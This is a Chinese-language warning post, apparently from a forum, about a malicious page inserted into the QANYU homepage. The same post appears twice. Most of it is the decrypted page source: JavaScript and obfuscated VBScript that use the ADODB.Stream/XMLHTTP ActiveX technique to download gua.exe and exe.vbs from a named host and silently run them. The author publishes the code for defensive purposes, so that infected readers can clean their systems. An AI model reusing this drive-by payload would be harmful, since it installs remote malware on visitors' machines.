QANYU主页中插入了这样一个页面：
http://www2.43242.com/wm/exe.htm
改页面源代码经过简单加密，解密后原文如下
————————————————————————————————
————————
<script>var url,path;url="http://gualeifafksajof.43242.com/wm/gua.exe";path="C:\\windows\\exe.exe";try{var ado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var xml=ado.CreateObject("Microsoft.XMLHTTP","");var as=ado.createobject("Adodb.Stream","");xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shell(pa222th,"","","open",0);}catch(e){};</script>
<script language="VBScript">
on error resume next
m1="object"
m2="classid"
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
MircoLongy = "http://gualeifafksajof.43242.com/wm/exe.vbs"
Set MircoLongc = document.createElement(m1)
MircoLongc.setAttribute m2, m3
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
MircoLongi=m4
Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
MircoLongf=seturlf&seturlg&seturlh&seturli
MircoLongg=MircoLongf
set MircoLonga = MircoLongc.createobject(MircoLongg,"")
MircoLonga.type = 1
MircoLongh="GET"
MircoLongd.Open MircoLongh, MircoLongy, False
MircoLongd.Send
MircoLong10="exe.vbs"
set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
set MircoLonge = MircoLongb.GetSpecialFolder(2)
MircoLonga.open
MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
MircoLong10= MircoLongb.BuildPath(MircoLonge,MircoLong10)
MircoLonga.write MircoLongd.responseBody
MircoLonga.savetofile MircoLong10,2
MircoLonga.close
set MircoLonge = MircoLongc.createobject(m5,"")
Str = Array(77,105,114,99,111,76,111,110,103,101,46,83,104,101,108,108,69,120,101,99,117,116,101,32,77,105,114,99,111,76,111,110,103,49,48,44,66,66,83,44,66,66,83,44,34,111,112,101,110,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
</script>
**************************************************
————————————————————————————————
————————
星号为脏话若干，如有人中毒请根据代码有针对性的杀毒
by：左顾右盼
http://www2.43242.com/wm/exe.htm
改页面源代码经过简单加密，解密后原文如下
————————————————————————————————
————————
<script>var url,path;url="http://gualeifafksajof.43242.com/wm/gua.exe";path="C:\\windows\\exe.exe";try{var ado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var xml=ado.CreateObject("Microsoft.XMLHTTP","");var as=ado.createobject("Adodb.Stream","");xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shell(pa222th,"","","open",0);}catch(e){};</script>
<script language="VBScript">
on error resume next
m1="object"
m2="classid"
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
MircoLongy = "http://gualeifafksajof.43242.com/wm/exe.vbs"
Set MircoLongc = document.createElement(m1)
MircoLongc.setAttribute m2, m3
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
MircoLongi=m4
Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
MircoLongf=seturlf&seturlg&seturlh&seturli
MircoLongg=MircoLongf
set MircoLonga = MircoLongc.createobject(MircoLongg,"")
MircoLonga.type = 1
MircoLongh="GET"
MircoLongd.Open MircoLongh, MircoLongy, False
MircoLongd.Send
MircoLong10="exe.vbs"
set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
set MircoLonge = MircoLongb.GetSpecialFolder(2)
MircoLonga.open
MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
MircoLong10= MircoLongb.BuildPath(MircoLonge,MircoLong10)
MircoLonga.write MircoLongd.responseBody
MircoLonga.savetofile MircoLong10,2
MircoLonga.close
set MircoLonge = MircoLongc.createobject(m5,"")
Str = Array(77,105,114,99,111,76,111,110,103,101,46,83,104,101,108,108,69,120,101,99,117,116,101,32,77,105,114,99,111,76,111,110,103,49,48,44,66,66,83,44,66,66,83,44,34,111,112,101,110,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
</script>
**************************************************
————————————————————————————————
————————
星号为脏话若干，如有人中毒请根据代码有针对性的杀毒
by：左顾右盼
